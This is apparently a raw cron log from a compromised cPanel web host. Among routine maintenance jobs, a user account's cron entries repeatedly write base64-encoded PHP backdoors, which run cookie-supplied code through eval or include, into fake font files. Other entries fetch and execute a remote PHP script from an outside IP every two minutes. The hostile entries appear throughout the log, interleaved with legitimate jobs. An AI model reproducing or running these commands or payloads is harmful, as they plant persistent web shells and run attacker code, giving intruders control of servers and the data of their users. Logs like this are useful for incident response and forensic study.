Sep  5 06:09:01 ip-184-168-122-23 CROND[22435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:09:01 ip-184-168-122-23 CROND[22436]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 06:09:01 ip-184-168-122-23 CROND[22437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:09:01 ip-184-168-122-23 CROND[22439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:09:01 ip-184-168-122-23 CROND[22442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:10:01 ip-184-168-122-23 CROND[22555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:10:01 ip-184-168-122-23 CROND[22557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:10:01 ip-184-168-122-23 CROND[22559]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 06:10:01 ip-184-168-122-23 CROND[22560]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 06:10:01 ip-184-168-122-23 CROND[22562]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:10:01 ip-184-168-122-23 CROND[22561]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 06:10:01 ip-184-168-122-23 CROND[22558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:10:01 ip-184-168-122-23 CROND[22563]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:11:02 ip-184-168-122-23 CROND[22761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:11:02 ip-184-168-122-23 CROND[22762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:11:02 ip-184-168-122-23 CROND[22766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:11:02 ip-184-168-122-23 CROND[22764]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:12:01 ip-184-168-122-23 CROND[22885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:12:01 ip-184-168-122-23 CROND[22887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:12:01 ip-184-168-122-23 CROND[22891]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:12:01 ip-184-168-122-23 CROND[22889]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:12:01 ip-184-168-122-23 CROND[22890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:13:01 ip-184-168-122-23 CROND[22997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:13:01 ip-184-168-122-23 CROND[22998]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:13:01 ip-184-168-122-23 CROND[23002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:13:01 ip-184-168-122-23 CROND[23003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:14:01 ip-184-168-122-23 CROND[23119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:14:01 ip-184-168-122-23 CROND[23123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:14:01 ip-184-168-122-23 CROND[23121]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:14:01 ip-184-168-122-23 CROND[23124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:14:01 ip-184-168-122-23 CROND[23122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:15:01 ip-184-168-122-23 CROND[23246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:15:01 ip-184-168-122-23 CROND[23247]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  5 06:15:01 ip-184-168-122-23 CROND[23248]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:15:01 ip-184-168-122-23 CROND[23250]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  5 06:15:01 ip-184-168-122-23 CROND[23251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:15:01 ip-184-168-122-23 CROND[23254]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 06:15:01 ip-184-168-122-23 CROND[23253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:15:01 ip-184-168-122-23 CROND[23255]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 06:16:01 ip-184-168-122-23 CROND[23387]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:16:01 ip-184-168-122-23 CROND[23389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:16:01 ip-184-168-122-23 CROND[23393]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:16:01 ip-184-168-122-23 CROND[23390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:16:01 ip-184-168-122-23 CROND[23392]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 06:16:01 ip-184-168-122-23 CROND[23391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:17:02 ip-184-168-122-23 CROND[23512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:17:02 ip-184-168-122-23 CROND[23513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:17:02 ip-184-168-122-23 CROND[23511]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:17:02 ip-184-168-122-23 CROND[23514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:18:01 ip-184-168-122-23 CROND[23714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:18:01 ip-184-168-122-23 CROND[23716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:18:01 ip-184-168-122-23 CROND[23717]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:18:01 ip-184-168-122-23 CROND[23718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:18:01 ip-184-168-122-23 CROND[23719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:19:01 ip-184-168-122-23 CROND[23841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:19:01 ip-184-168-122-23 CROND[23843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:19:01 ip-184-168-122-23 CROND[23844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:19:01 ip-184-168-122-23 CROND[23845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:20:01 ip-184-168-122-23 CROND[23941]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 06:20:01 ip-184-168-122-23 CROND[23943]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 06:20:01 ip-184-168-122-23 CROND[23944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:20:01 ip-184-168-122-23 CROND[23945]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 06:20:01 ip-184-168-122-23 CROND[23948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:20:01 ip-184-168-122-23 CROND[23946]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:20:01 ip-184-168-122-23 CROND[23947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:20:01 ip-184-168-122-23 CROND[23950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:20:01 ip-184-168-122-23 CROND[23951]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
